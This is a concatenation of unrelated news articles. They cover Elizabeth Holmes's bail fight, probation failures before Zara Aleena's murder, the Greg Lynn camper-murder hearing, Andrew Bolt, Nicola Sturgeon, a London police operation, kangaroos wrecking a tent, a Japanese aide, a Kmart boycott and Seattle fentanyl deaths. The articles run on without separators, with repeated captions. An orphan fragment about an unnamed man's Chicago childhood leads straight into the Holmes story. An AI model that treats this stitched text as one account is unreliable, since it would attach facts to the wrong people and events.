He has described his growing up in Chicago as 'really, really poor.'

His mother was addicted to crack cocaine and had to go to rehab. It meant the siblings were all placed in the custody of his grandmother.
Theranos fraudster Elizabeth Holmes has fired back after prosecutors claimed she made an 'attempt to flee the country' by purchasing a one-way ticket to Mexico departing soon after her conviction last year.

In a court filing on Monday, Holmes' legal team accused prosecutors of 'recklessly and incorrectly' making false statements to the court in their motion last week opposing her release pending appeal.

Holmes, 38, is set to report to federal prison on April 27 to begin serving an 11-year sentence but is seeking release on bail as she appeals her January 2022 conviction for duping investors in her bogus medical testing technology.

Prosecutors strenuously opposed extending her bail in a motion last week, which contained the dramatic claim that Holmes attempted to flee by booking a flight to Mexico departing weeks after a jury convicted her.

In their response, Holmes' attorneys insisted that her partner, Billy Evans, booked the flight to the luxurious resort town of Puerto Vallarta prior to her conviction, saying the couple planned to attend a friend's wedding if she had been acquitted.

After prosecutors claimed she tried to flee, Holmes' attorneys insisted that her partner, Billy Evans, booked the flight to the luxurious resort town of Puerto Vallarta prior to her conviction

A beach as Puerto Vallarta is seen in a file photo. Holmes had a flight reserved to the luxury resort town for late January 2022, but says she only planned to go if she was acquitted

The defense motion claims that prosecutors in their filing 'recklessly and incorrectly accuse Ms. Holmes and her partner of attempted flight and present incomplete and provably inaccurate statements of fact in support of that accusation.'

Holmes' team asked the court to strike certain portions of the government motion as factually false.

In particular, they dispute the claim that Evans left on the January 26, 2022, flight to Mexico and did not return to the US for six weeks, when he flew back from Cape Town, South Africa.

Evans insisted in court filings, however, that he drove back to the US on January 30, took multiple domestic flights, and then flew to Cape Town on a separate trip in late February.

To back up his claim, Evans provided receipts for electronic tolls and airline tickets, as well as a photo he said showed him at home in California on February 2 playing with the young son he shares with Holmes.

Evans, 29, is the heir to a family company that runs luxury hotels in San Diego. He reportedly secretly married Holmes in 2019, and has stood by her side throughout her criminal trial and conviction.

Disputing the government's claims, Evans provided receipts for electronic tolls and airline tickets, as well as a photo (above) he said showed him at home in California on February 2 playing with the young son he shares with Holmes

Evans, 29, is the heir to a family company that runs luxury hotels in San Diego. He reportedly secretly married Holmes in 2019, and has stood by her side throughout her criminal trial

The couple had their first child in July 2021, and Holmes is currently pregnant with their second child. Despite reports that they are married, court filings refer to Evans as her 'fiance and partner' rather than a husband.

In their filing last week, prosecutors alleged that Holmes 'continues to show no remorse to her victims' including the investors whose roughly $900 million in investments in Theranos went up in smoke when the company's deception was revealed.

Holme's defense team also provided an email from Assistant US Attorney Jeffrey Benjamin Schenk appearing to dismiss concerns about the flight after her legal team confirmed the reservation had been canceled.

'Thank you again for the background information, confirmation, and for addressing this situation quickly,' Schenk wrote in the January 24, 2022 email.

'I do not believe there is need for us to discuss this further, but I will certainly be in touch if that changes, and please feel free to reach out if you disagree,' he added.

A hearing on the new motions is set for March 17 in federal court in San Diego.

Holmes's defense team also provided an email from Assistant US Attorney Jeffrey Benjamin Schenk appearing to dismiss concerns about the Mexico flight

A jury convicted Holmes, who was Theranos CEO throughout the company's turbulent 15-year history, on three counts of wire fraud and one counts of conspiracy to commit fraud

In November, US District Judge Edward Davila sentenced Holmes to 11 years in federal prison, deferring the start of the sentence to April 27 due to her pregnancy.

She is appealing the conviction and sentence in the U.S. Court of Appeals, seeking a new trial, and has asked to remain free until there is a ruling on her appeal.

In the filing, Holmes' lawyers said: 'This was a complex, hard-fought, multi-month trial with numerous witnesses and hundreds of exhibits that produced a split verdict. The record is teeming with issues for appeal.'

Holmes' filing also claimed errors were made by the judge, which included permitting the jury to hear about regulatory action against Theranos, and the company's voiding of all test results from its 'Edison' machines.

A jury convicted Holmes, who was CEO throughout the company's turbulent 15-year history, on three counts of wire fraud and one count of conspiracy to commit fraud after seven days of deliberation.

She was acquitted on four other counts of fraud and conspiracy that alleged she deceived patients who paid for Theranos blood tests, too.

In November, Judge Davila recommended that Holmes serve her prison sentence at a minimum-security prison camp in Texas.

The prison camp the judge recommended is in Bryan, Texas, about 100 miles north of Houston, where Holmes attended high school. It is designated for female inmates and currently houses about 540 inmates.

Officials at the Federal Bureau of Prisons make the final determination on inmate assignments, but often take the court's recommendation into consideration.
A sexual predator described as a ticking timebomb was left free to kill a law graduate due to a catalogue of blunders by probation staff.

Zara Aleena, 35, was walking home from a night out with friends when Jordan McSweeney leapt out of the darkness and murdered her in a frenzy of violence.

The 29-year-old thug, who had a criminal history dating back to the age of 12, had been released on licence from prison only nine days earlier.

Now in a shocking report, Chief Inspector of Probation Justin Russell has said McSweeney should have been recalled to prison six days before the attack and could have been back in his cell by the time of the murder if staff had followed procedures.

Zara Aleena (above), 35, was walking home from a night out with friends when Jordan McSweeney leapt out of the darkness and murdered her in a frenzy of violence

29-year-old thug Jordan McSweeney had a criminal history dating back to the age of 12 and had been released on licence from prison only nine days earlier

McSweeney was caught on CCTV following Zara Aleena on the night of her death

But due to a litany of errors and missed opportunities by probation staff, he was out on the streets hunting for a victim on June 26 last year.

Yesterday prisons and probation minister Damian Hinds apologised to Miss Aleenas family for the unacceptable failings in this case.

The report comes a week after the watchdog highlighted failings by probation officers in the case of Damien Bendall before he murdered three children and his pregnant partner.

Mr Russell said yesterday: Its a core function of the Probation Service to protect the public and theyre not getting it right. Its impossible to say the public is being properly protected from the risks that people on probation pose.

In the case of McSweeney, the thug had a history of bullying and beating up women, with one ex-girlfriend who suffered years of violence describing him as a ticking timebomb. From the age of 12 he racked up 28 convictions for 69 offences including burglary, possession of a knife and assaulting police officers and members of the public while on bail.

McSweeney also had a history of threatening to stab prison inmates and staff, making weapons and taking drugs in jail, yet warnings in 15 prison logs went unheeded.

Metropolitan Police still image taken from body worn camera footage of Jordan McSweeney being arrested at 15.45 on 27 June, roughly 36 hours after the attack on Zara

A 2016 report said McSweeney admitted he was consumed by rage and does not know how to control it [and] he feels it is very likely that he will offend in the future.

Yet probation officers failed to consider him a high-risk offender and he was released from his latest prison sentence with no known address or GPS tag, despite him failing to show up for appointments including on the day of his release.

Staff should have recalled him to prison on June 20, but they waited until he had missed three appointments. There was then a delay in signing the paperwork until June 24, with his whereabouts unknown.

Less than 48 hours later McSweeney was on the prowl, following at least five other women before targeting Miss Aleena as she walked home.

He dragged her into a driveway in Ilford, east London, to sexually assault her before fleeing with her handbag, mobile phone and keys at 2.44am, leaving her fatally injured. She died hours later in hospital.

McSweeney was sentenced to life in prison with a minimum term of 38 years for her murder.

Mr Russell said he should have been considered a high risk and if he had, more urgent action would have been taken to recall him to prison. The Probation Service failed to do so, and he was free to commit this most heinous crime.

Despite the errors in the case, only one member of staff faced disciplinary action. The report blamed unmanageable workloads made worse by high staff vacancy rates.

Andrea Simon, of the End Violence Against Women Coalition, said Probation Service failings were yet another way in which the criminal justice system is catastrophically failing to protect women and girls.

Claire Waxman, Londons victims commissioner, said the report paints a clear picture of a disjointed system that is struggling to properly assess risks and protect the public.

Mr Hinds said immediate steps were being taken including mandatory training to improve risk assessments [and] implementing new processes to guarantee the swift recall of offenders.
Ex-Jetstar pilot Greg Lynn was caught on secret recordings discussing a 60 Minutes special on the disappearance of two campers he is accused of murdering.

Lynn, 56, will appear in the Melbourne Magistrates' Court again on Wednesday where he is expected to be committed to stand trial over the murders of secret lover campers Russell Hill, 74, and Carol Clay, 73.

Police arrested Lynn in the Victorian High Country two weeks after the current affairs program aired a detailed report into the police investigation into the 20-month disappearance of the campers.

Police allege alleged killer Greg Lynn was prompted to discuss a 60 Minutes program (pictured) in the days after it aired in November 2021. He was arrested just weeks later. Pictured: Russell Hill's daughters

Greg Lynn, pictured in court last week, was grilled by police for four long days

Police made thousands of recordings of Greg Lynn (right) in the 11 months before his arrest in Victoria's high country. Almost 300 relevant recordings came after the airing of a 60 Minutes special

On Monday, Missing Person's Squad Detective Leading Senior Constable Daniel Passingham revealed Lynn had discussed the program with his flight attendant wife Melanie on November 13, 2021 - six days after the Channel Nine program aired.

Detectives had co-operated with the program's investigation into the case, revealing they believed the driver of a blue Nissan Patrol seen in the area could assist them.

Lynn had allegedly driven his blue Patrol into the Wonnangatta Valley on March 21 the previous year - the same day Mr Hill and Ms Clay are believed to have met their fate.

While Victoria Police detectives had been listening to Lynn on recording devices secreted into his phone, car and home, Leading Senior Constable Passingham suggested the program had spooked Lynn, who allegedly had a propensity to speak to himself.

In a heavily redacted statement tendered to the court, the detective stated police had made 299 fresh recordings of interest of Lynn between November 12 and the date of his arrest 10 days later.

Police had been listening to Lynn since December the previous year, making 3150 recordings in total before swooping on him from the skies on November 22, 2021.

It can now be revealed police made the drastic decision to arrest Lynn despite his alleged failure to provide a location on where police believe he dumped his alleged victims' bodies.

Russell Hill (pictured with his missing drone) is believed to have filmed campers in and about the area where he was allegedly murdered

Lynn was arrested by Special Operations Group police officers at the intersection of Doolans Plains Road and Moroka Road, Arbuckle - some seven hours after he was heard talking to himself in a 'depressed state'.

The shattered remains of Mr Hill and Ms Clay would be found just days later about 40km east as the crow flies across rugged bushland near Dargo.

Leading Senior Constable Passingham stated the decision to arrest Lynn was made upon review of the recording by his superiors.

'Lynn made comments of his time coming to an end, that Melanie (his wife) had three boys to look after her, a good rum, whiskey or cocktail would be good,' Leading Senior Constable Passingham stated.

The detective said after listening to Lynn for more than 3000 recordings, he knew something wasn't right.

'I had a feeling he was going to commit suicide,' he told the court.

Lynn had been armed with a high-powered centrefire rifle on the unexpected trip.

Daily Mail Australia is unable to report on exactly what Lynn told police during his epic police record of interview after Magistrate Brett Sonnet agreed to implement a gag order on it.

Missing Person Squads Detective acting-Sergeant Brett Florence (left) and Detective Leading Senior Constable Daniel Passingham (right) led the charge to solve the mystery of the missing campers

Police allege Carol Clay (pictured) was shot dead by Greg Lynn before he stabbed Russell Hill to death

Police had Greg Lynn under surveillance for almost a year while feeding stories through to media organisations. Pictured: Russell Hill's camp site as it appeared on Channel 9's A Current Affair

WHY POLICE BELIEVE CAMPERS WERE MURDERED Russell Hill knew the rugged Wonnangatta Valley as good as anyone brave enough to venture that far into the wilderness. It is bravery that police suspect cost him, and his secret lover Carol Clay, their lives. Those that knew him claimed he would never back down from a fight. Weed sprayer Robert Williams told the court Mr Hill was a 'grumpy old bugger' who had buzzed him with a drone. Campers Damir Javor and Goran Miljkovic had seen the couple as they parked their vehicle at a camp site believed to be shared by Lynn. The pair had been stuck behind the elderly couple as they drove slowly along the track to their campsite, which already had two vehicles parked there. One of those cars was a white Landcruiser, the other was described as a blue Nissan Patrol - the same type of vehicle seized by police when they arrested Lynn on November 22 last year. Advertisement

While police in states such as New South Wales, South Australia and Queensland are able to 'reasonably detain' suspects without charge for anywhere up to 12 hours, detectives grilled Lynn for more than nine hours over a four day period before charging him.

Lynn's detention was justified at the time by Victorian Chief Commissioner Shane Patton, who said it was allowed under the Crimes Act.

'Ultimately, it's up to homicide investigators, or in this case the missing person's squad to, if you like, justify and log what they've done over a period time. Because a court then determines whether that is reasonable time,' Mr Patton told 3AW then.

A suppression order was also placed on and a statement Lynn provided after yet another secret recording by police.

The court heard detectives were desperate to extract as much information out of Lynn as possible.

The admissibility of Lynn's police interview will be hotly contested should the matter shift across the street to the Supreme Court of Victoria on Wednesday at the conclusion of the preliminary hearing.

The court heard homicide detectives had compiled a whopping 773-page brief of evidence against Lynn.

Information contained within that brief alleges Lynn camped overnight in the wilderness after he allegedly shot Ms Clay and stabbed Mr Hill to death.

On March 1 last year, police allege Lynn took them to a section of Rose River Road and showed them where he disposed of Mr Hill's and Ms Clay's mobile phones.

He allegedly told them he had thrown them into the river.

Police believe this trailer was used to carry the bodies of Russell Hill and Carol Clay to their burial site. The trailer has never been recovered

A beige coloured Nissan Patrol is taken away by police after Greg Lynn's arrest. Police allege it had been blue when the campers went missing

Daughter of camper Russell Hill, Colleen Hill, departs from the Melbourne Magistrates' Court on Monday

He further allegedly told detectives it was where he had burned Mr Hill's drone, which police believe was the catalyst for a deadly confrontation with the camper.

Lynn allegedly also dumped Mr Hill's car keys in the area along with a knife police allege was used to slay Mr Hill.

While reports of a cache of legal firearms found at Lynn's home was reported last week, it has since been revealed a longarm silencer was also located there.

Leading Senior Constable Daniel Passingham stated Lynn had been granted approval from the commissioner to possess prohibited weapons such as daggers and swords.

The court heard police may have struggled to determine how the campers were killed without Lynn's alleged admissions during his interview.

Missing Person Squads Detective acting-Sergeant Brett Florence said police were unable to determine how the pair died.

'The bones that were recovered were fragments,' he said on Monday.

Earlier, police reconstruction expert Leading Senior Constable Paul Griffiths told the court it was 'plausible' that Ms Clay was shot in the head by a bullet fired from the front of Mr Hills LandCruiser.

Leading Senior Constable Griffiths said he reconstructed a scenario where Ms Clay was shot while standing or crouching near the passenger side mirror of the LandCruiser as two men, standing at the bonnet of the car, fought over a gun.

Lynn continues to deny murdering the couple while they were camping in the Wonnangatta Valley in March 2020.

According to a prosecution summary, investigators allege Lynn got into an argument with the campers before killing them both.

'The circumstances of their deaths, and the accused's behaviour afterwards are consistent with the accused having intended to cause death or at least cause each of them really serious injury,' the prosecution summary read.

Elderly camper Ms Clay was allegedly shot through the head and killed when Mr Hill attempted to grab a gun away from Lynn, the court heard.

Lynn is then alleged to have stabbed Mr Hill to death before burning their bodies and dumping them at another location.
Firebrand conservative Andrew Bolt is known for his take-no-prisoners style of strident political commentary but his latest newspaper column has revealed a rarely seen romantic side.

Bolt, 63, dedicated the column to his journalist wife Sally Morrell as he paid tribute to their love story, prompted by going on a dinner date to celebrate her 60th birthday.

'She (Morrell) looked so beautiful, and I wondered again by what miracle we - I - end up married to someone who makes you happier, stronger and less flawed,' Bolt wrote in the Herald Sun.

Andrew Bolt has written a heartfelt tribute to his wife, former journalist Sally Morrell

The couple were married in 1989 and have three adult children.

Bolt wistfully reminisces about how he first fell for Ms Morrell, who he met when they were both working for the predecessor of Melbourne's Herald Sun newspaper.

'I noticed Sallys warm brown eyes in our first real chat in a cafe ... and felt certain she was loved and loving,' he writes.

Bolt goes on to observe that 'a loving heart, unlike youth, lasts forever'.

The Sky News commentator said Morrell's loving qualities have been demonstrated amply towards her friends, the couple's children and himself.

'At times in my career, Id have been destroyed without her,' he writes.

Andrew Bolt (pictured centre) seen on the set of his Sky News show The Bolt Report with the late Labor Senator Kimberley Kitching (left) and political commentator Nikka Savva ( right) is known for his hard-hitting conservative views

He also credits Morrell with socialising him to be less of an 'obsessive introvert'.

Bolt said that having made the 'best decision' of his life to marry Morrell, the pair were reaping the rewards now that were both in their 60s and were 'surprised to find this is the best time of our lives'.

'Much of that happiness comes from lasting so long together,' Bolt writes.

'I adore having someone who shares decades of memories. Memories arent much, otherwise. They wither, and you lose half your life.'

'I adore having someone who shares decades of memories. Memories arent much, otherwise. They wither, and you lose half your life,' Bolt wrote of his long marriage to Sally Morrell

Bolt said that having 'proved were a team forever' he had no excuse for sulking, although he still sometimes does because as his columns show he is easily 'fixated'.

'I give the credit to someone born 60 years ago this week with a loving heart,' Bolt writes.

'Im so lucky.'

Sally Morrell is known to have moderated comments on Andrew Bolt's blog but has otherwise shunned the public eye.

In 2011 she was given a public apology by current affairs magazine The Monthly after it reported she was moderating Bolt's blog when racially offensive comments were published.

In late 2020, the couple sold their east Melbourne home for $2.75million and moved to the Mornington Peninsula south-east of the city.
Nicola Sturgeon has been condemned for describing the law that created the Scottish parliament as an affront to democracy.

The First Minister yesterday hit out at the UK Governments ability to block Holyrood legislation which affects matters reserved to Westminster.

She said the power in the Scotland Act was unacceptable, despite Nationalist MPs voting for it at the time, and insisted it will be in the public interest for her to launch a judicial review of the decision, despite two former Supreme Court judges warning that she would likely lose.

Scottish Secretary Alister Jacks section 35 order blocked the Gender Recognition Reform (Scotland) Bill (GRR) from securing Royal Assent.

Nicola Sturgeon, pictured on January 23, has been condemned for describing the law that created the Scottish parliament as an affront to democracy

He announced the move following concerns about the impact the reforms  which include lowering the age for gender recognition certificate applications to 16 and removing the need for a medical diagnosis of gender dysphoria will have on legislation which is reserved to Westminster.

Scottish Tory constitution spokesman Donald Cameron said: Nicola Sturgeon is continuing to play to her nationalist base rather than engaging constructively with the UK Government over this Bill.

The First Minister is now laughably claiming that section 35 should be removed from the Scotland Act, despite never mentioning it before now and SNP MPs including the Deputy First Minister  having voted for it at the time.

Her clear priority is ramping up a constitutional row for her own self-interest, instead of trying to fix her flawed GRR Bill.

Eminent judges like Lord Hope and Lord Sumption have made their views abundantly clear that this is not an attack on devolution, and that the UK Government was compelled to intervene because the Bill impinges on equalities law in the rest of the UK.

Yet their concerns are being dismissed out of hand. As usual, taxpayers will have to pick up the tab for yet more costly litigation undertaken by Nicola Sturgeon.

During a press conference yesterday, Miss Sturgeon said her Government has a period of around three months where it can indicate it wants a judicial review of the use of a section 35 order. She said one reason to challenge it is to ensure legislation which has been scrutinised, consulted on and passed overwhelmingly at Holyrood becomes law.

The First Minister yesterday hit out at the UK Governments ability to block Holyrood legislation which affects matters reserved to Westminster. Prime Minister Rishi Sunak is pictured on January 23

Miss Sturgeon added: There is a real public interest now in getting some interpretation, judicial interpretation, of section 35.

Because at the moment, similar to the case law that we now have around the reserved/devolved split, where there are grey areas you can look to case law to see what side of that particular proposition and proposed act of parliament might follow. We dont have that with section 35.

Right now, as was demonstrated last week, this is a power that can be used pretty much on the whim of the UK Government any time they have a political disagreement with the Scottish Government on a piece of legislation.

She added: The UK Government have to agree to amend the Scotland Act. I think to have that kind of power in the Scotland Act is completely unacceptable... it is tantamount to pretty much unfettered discretion on the part of the UK Government.

It is an offence to the very notion of democracy that we have a Scottish parliament that, within areas of its competence, can consult on change, scrutinise change and overwhelmingly legislate, to have that overturned on not much more than a stroke of the pen by the Secretary of State. I just think that is an affront to democracy and shouldnt stand.

A UK Government source said there were no plans to scrap section 35 powers, adding: Section 35 has been part of the Scotland Act throughout. The fact is that it is part of the careful balancing act that is devolution.

The fact that 347 bills have been passed at Holyrood since devolution and this has only been used once shows how it works.

Ms Sturgeon said the power in the Scotland Act was unacceptable, despite Nationalist MPs voting for it at the time (file image of the Scottish Parliament building)

It is not there as a carte blanche veto which allows the UK Government to block something simply because it doesnt like it; there are very specific circumstances when it is considered. Donald Dewar explained this at length during debates on the Scotland Bill and ultimately there was cross-party support for the Scotland Act.

Former Supreme Court judge Lord Sumption has said suggesting the power is an attack on Scottish democracy is absurd.

Lord Hope, another former Supreme Court judge, has said a judicial review could be a waste of time and money. Miss Sturgeon said they are very eminent legal figures but there is a range of legal views about the issue. She added: I have confidence in the position of the Scottish Government and want to defend this legislation so it can become law.

But even if that wasnt the case there is a national public interest in having some lines drawn that tell us what the limitations, or are there any, of section 35 are... that can only come from the courts.

Nicola Sturgeon has pledged to finally publish her tax returns within weeks  as she claimed that any minister should resign if there is anything untoward with their tax affairs.

The First Minister has previously failed to deliver on an SNP pledge to publish full details of her tax returns on an annual basis.

She said yesterday that the delay was down to having other things to deal with over recent years.

But she insisted that her salary as First Minister is her only income and that she will publish her tax returns for the latest tax year, and also previous years, next month.
Police made 179 arrests during a three-day crackdown targeting serious criminals and to help take drugs and weapons off the streets.

Thirty knives and weapons were recovered, 40 drugs seized, 66 vehicles taken and 5,700 cash retrieved as more than 1,200 officers from seven police forces arrested 179 people.

Operation Pandilla focused on arterial roads and motorways in and around London, including the M25, A406, M1 and A40, and used automatic number plate recognition (ANPR) and intelligence to target vehicles linked to violent crime.

Wanted suspects were arrested - as were those suspected of knife, weapon, drugs, burglary and robbery offences - between January 17 and 19.

A police Officer holds evidence as Officers from the Metropolitan Police arrest a suspect after a pursuit through Harlesden, north west London, as part of Operation Pandilla

Officers from the Metropolitan Police arrest a suspect after a pursuit

Officers from the Metropolitan Police surround a suspected stolen BMW after it failed to stop

The Metropolitan Police led the operation, working with Thames Valley, Hertfordshire, Surrey, Sussex, West Midlands and British Transport Police.

A total of 1,065 police officers from nine constabularies were involved in the three-day Operation Pandilla.

Superintendent Emma Gulczynski said: 'This operation was a joint effort between seven police forces, sharing proactive intelligence and enhancing existing relationship to target those involved in drug, gang and weapon-based violence.

Seven police forces working together to tackle drug supply and associated criminality

he operation focused on arterial routes and motorways in and around London including the M25, M11, M4 and the M20, and used Automatic Number Plate Recognition (ANPR)

Police Officers from the Metropolitan Police speak to a man in Willesden, London

Police search the occupants of a car in Stonebridge Park, London

'Tackling violent crime continues be a priority for the Met and this operation saw officers from Birmingham, all the way to the south coast, working closely to crackdown on those using the transport networks to facilitate their criminal activity.

'While removing drugs and weapons from the streets is paramount to keeping London and the county forces safe, safeguarding vulnerable individuals on the cusp of violence is also just as important.

Officers from the Metropolitan Police detain the occupants of a car near Wembley, north west London

A dog handler and sniffer dog Reg, from the Metropolitan Police search a car in Stonebridge Park, London

Pictured: Superintendent Emma Gulczynski from the Metropolitan Police

A total of 1,065 police officers from nine constabularies were involved in the three-day Operation Pandilla

'Some of those arrested exploit children and vulnerable people to help further their criminality and we remain committed to working with partners to identify people at risk of exploitation and provide them with the wrap-around support they require.'

Officers focused on drug dealing, modern slavery, firearms offences, knife possession, burglary and vehicle and catalytic converter theft.

The Police have urged people who may have have any information about drug crime or violence, please contact police or Crimestoppers on 0800 555 111

The Metropolitan Police led the operation, working with Thames Valley, Hertfordshire, Surrey, Sussex, West Midlands and British Transport Police

Officers focused on drug dealing, modern slavery, firearms offences, knife possession, burglary and vehicle and catalytic converter theft

Pictured: Police arresting a suspect as a part of the three-day crackdown
Two brawling kangaroos have caused chaos at a camping ground after they fell onto a tent in which a family slept.

The two Eastern Grey kangaroos woke campers as they crashed into tables and tents while they brawled through the Trial Bay Gaol campground at Arakoon on the NSW mid-north coast on the morning of January 14.

The fight ended as the two barrelled into a family's tent, landing on top of four sleeping children and shredding the structure.

Two kangaroos have caused chaos after their brawl (pictured) through the Trial Bay Gaol campground on the NSW mid-north coast ended with the pair slamming into a sleeping family's tent

The seven-minute fight was recorded by Larry Whiteman and posted to his Instagram account, OutbackLarry.

The video shows the kangaroos sizing each other up and fighting across the campgrounds before making their way down the hill towards the family's tent.

'They crashed right through the tent right onto the girls' mattress,' Mr Whiteman posted.

'It was only blind luck that the kangaroos didn't injure them.'

The mother of the family, who had woken up early and watched the brawl with Mr Whiteman, can be heard screaming as the family tent was shredded by one of the roos' claws.

Mr Whiteman had to hold the mother back from trying to separate the animals.

'I knew if she went in between those two kangaroos one of them was going to hurt her,' he told The Maitland Mercury.

'The kangaroos moved away from the tent after that and I think one passed out from being choked... They left shortly after that.'

The two 'roos had fought for seven minutes before they landed on top of four children and slashed the tent they were sleeping in. Luckily, there were no injuries

The fight is believed to have been caused by a common interest in a female.

According to the Department of Environment and Science, Eastern Grey kangaroos can brawl year-round as they don't have a set mating period.

This means that in a mob of kangaroos, the dominant male is constantly looking out for any threat to the females in his mob, including other male kangaroos or even humans.

'Dont go near male kangaroos that are sparring, fighting or showing off their size and strength to each other,' the DES website warns.
It should have been one of the proudest moments of his political career.

But one Japanese aide will remember his visit to the US President for the wrong reasons  after he got a dressing down from his mum for putting his hands in his pockets.

Seiji Kihara said his ashamed mother told him off after he was filmed standing casually during an official visit to Washington, DC. The 52-year-old was spotted in the background as Japanese prime minister Fumio Kishida answered questions from reporters, before moving his hands when he realised he was on camera.

Dressing down: Seiji Kihara, right, with Japans PM on the Washington, DC visit

But he still received an angry phone call from his mother who told him he should sew up his pockets. Mr Kihara said he had been focusing on the PMs comments and liked to put his hands in his pockets.

A clip of the Press conference was circulated on social media, drawing a sharp response from critics.

One accused Mr Kihara of bad manners and another claimed he had more attitude than the prime minister.

Mr Kihara initially claimed he was the sorto of person who puts his hands in his pockets while walking. He added he had been focussing on Mr Kishidas comments to the Press.

He said: I was thinking of how best to convey the amicable Japan-US relations on display at the summit.

Mr Kihara is not the first politician to attract criticism for his casual demeanour, which is considered rude in Japan in certain social and professional situations.

Boris Johnson was criticised for putting his hands in his suit jacket and trouser pockets at a Nato summit in Brussels in 2022 as other leaders chatted.
An outraged Sky News host has vowed to boycott Kmart after the retail giant stopped making Australia Day gear, declaring 'I will never set foot in your shop again'.

Sky News Outsiders host Rowan Dean told viewers that Kmart has 'spat' in the face of proud Australians by discontinuing its Australia Day merchandise.

Kmart announced last Friday it will no longer produce goods for the holiday out of respect for the painful history the day marks for Indigenous people - the date the First Fleet landed at Sydney Cove and occupied Australia.

Dean said: 'Talk about complete lefty lunacy, Kmart - the company people sometimes choose to shop in, but I won't be choosing to shop in any longer.

'They don't want to sell any merchandise that has anything to do with Australia Day.

'This is Kmart saying "we dislike you and we disrespect you if you are a proud Australian" so I would say from all proud Australians "fine thank you Kmart, I will never set foot in your shop again".'

Sky News Outsiders host Rowan Dean vowed to boycott Kmart after it announced it will no longer sell Australia Day merchandise (pictured, old Kmart Australia Day ads)

He then encouraged all 'true blue' Australians to tell Kmart: 'I won't be spending my own money here because I'm a proud Australian.

'This is my earned money and I will not be spending it on your products because you have disrespected me, you have spat in my face.'

Kmart's decision to discontinue its Australia Day merchandise was met with harsh criticism from some customers.

One accused the retail giant of trying to 'delete' the holiday while others questioned why it stocks items for non-holidays such as Halloween.

Kmart's Facebook page shows it sold a large range of Australia Day merchandise - including togs, shorts and dresses - between 2014 and 2016.

However, a Kmart spokesperson confirmed they will not sell any Australia Day items this year.

'Customers who shop with us can find a number of products year round that feature Australiana designs with Australian animals, flora and fauna, as well as educational materials,' the spokesperson told Daily Mail Australia.

'We respect that January 26 means different things to different people and we aim to foster an environment that is inclusive and respectful of both our customers and teams.'

Rowan Dean (above) said Kmart has 'spat' in the face of proud Australians by refusing to sell Australia Day items

Kmart (above) announced last week it will not sell Australia Day merchandise and pointed customers to explore its range of 'Australiana' themed goods

Australia Day has been shrouded in controversy for several years with Aussies divided over whether January 26 marks the beginning of modern Australia or the start of Indigenous oppression.

January 26, 1788, was the day the First Fleet landed at Sydney Harbour - after having abandoned plans to settle at Botany Bay to the south days earlier - with Governor Arthur Phillip raising the British flag to mark the founding of New South Wales.

Activists have long called for the date of the holiday to be changed but no alternative day has been agreed upon.

Kmart said it will be joining a long list of companies giving employees the choice to work Australia Day in exchange for another day off.

Woolworths, Channel 10, Telstra and accounting firms Deloitte, KPMG and EY have also allowed employees to chose when they celebrate Australia Day.

The holiday will mark the first time Telstra's 29,000 employees are given the choice after they voted on the subject earlier in 2022.

'Our employees have the choice to work on Australia Day or take leave on another day. This flexibility is built into the Enterprise Agreements our employees voted on earlier this year,' a Telstra spokeswoman told Daily Mail Australia.

Various local councils around the country have also chosen to move their citizenship ceremonies from the date, after the Federal Labor government changed the rules last year.

Indigenous activists believe the date of Australia needs to be changed as it marks the beginning of Indigenous oppression (pictured, Sydney Australia Day revellers in 2022)

Other Australians believe Australia Day should continue to be celebrated on January 26 as it marks the day the First Fleet arrived (pictured, Sydney Australia Day beachgoers in 2022)
Already In the first three weeks of 2023, 35 overdose deaths have occurred

In October, officials reported 710 total fentanyl deaths in King County in 2022, more than 2021's entire total

The King County Medical Examiner's Office director recently said during a Board of Health meeting they are nearly out of room for more bodies

The drug epidemic in Washington state is so bad that some local coroner's offices are at capacity or have nearly run out of space for the bodies of those who have died from overdoses.

According to officials with the King County Medical Examiner's Office, the department is struggling to keep up with the number of incoming bodies as the fentanyl crisis continues and worsens.

'A key indication of just how bad things are at the end of 2022 and likely to get worse [in] 2023, the medical examiner's office is now struggling with the issue of storing bodies because the fentanyl-related death toll continues to climb,' Seattle-King County Public Health Director Dr. Faisal Khan recently said.

Officials raised alarms back in October when they reported more than 700 overdose deaths in the first 10 months of the year, more than all of 2021.

Already In the first three weeks of 2023, 35 overdose deaths have occurred in King County, according to local outlets.

This is Seattle-King County Public Health Director Dr. Faisal Khan

The news comes amid a startling report on the number of homeless deaths in Seattle in 2022, which reached 310 by year's end. The previous record was 195 in 2018.

According to the King County Medical Examiner's Office, fentanyl contributed to more than half of the deaths and many individuals had a mix of multiple drugs in their system including cocaine and methamphetamine.

The comments from Dr. Khan regarding the limited space in the morgues came during a Board of Health meeting last week.

'Obviously, they have finite space in the coolers they use, and that space is now being exceeded on a regular basis,' Khan said.

The health director said the overdoses are the largest issue facing the county at the time being and fentanyl is now behind 70 percent of the county's overdose deaths.

'When the final review of fatal overdoses is completed in the upcoming weeks, I fear that 2022 will set another heartbreaking record for fatal overdoses in King County,' Dr. Khan said.

'It will more than double the number of lives lost compared to just three years ago in 2019,' Dr. Khan continued.

Officials raised alarms back in October when they reported more than 700 overdose deaths in the first 10 months of the year, more than all of 2021

Shocking: Seattle running low on storage of bodies due to drug overdoses Seattle's fentanyl overdose crisis is so bad that the King County Medical Examiner is running low on storage for dead bodies. The stunning admission was made by Seattle-King County Public Health Director Dr. Faisal Khan during a recent Board of Health meeting. Posted by The Jason Rantz Show on AM 770 KTTH on Sunday, January 22, 2023

This is King County, home to Seattle, where the drug epidemic has worsened in recent years

Already In the first three weeks of 2023, 35 overdose deaths have occurred in King County, according to local outlets

These startling graphs show the number of overdose deaths in Seattle and the areas

The news comes amid a startling report on the number of homeless deaths in Seattle in 2022, which reached 310 by year's end

Data indicates that drug overdoses have skyrocketed in recent years.

In 2020, the county recorded 173 fentanyl overdoses. In 2021, that number increased by 122 percent to 385 people.

In 2022, the death total once again increased, hitting 710 before the year was over.

So far in 2023, nearly three dozen people have died from overdoses in King County. If this rate continues and does not worsen, the county will record just over 600 deaths by the end of the year.

In 2020, the county recorded 173 fentanyl overdoses. In 2021, that number increased by 122 percent to 385 people

This is the King County Medical Examiner's Office in Seattle

If the current rate of overdose death continues and does not worsen, the county will records just over 600 deaths by the end of the year

In the meantime, officials say they are looking into temporary options to counteract the finite amount of space available in the morgues.

'We have options for temporary morgue surge capacity when our census count gets high, including storing decedents on autopsy gurneys and partnerships with funeral homes,' a public health spokesperson told KTHH.

'We're exploring longer-term options for adding more capacity,' they continued.

Khan said he believes many of the recent deaths have been caused by the discrete inclusion of fentanyl in drugs that look like prescription pills. He also said the drug can be made to look like cocaine or heroin.

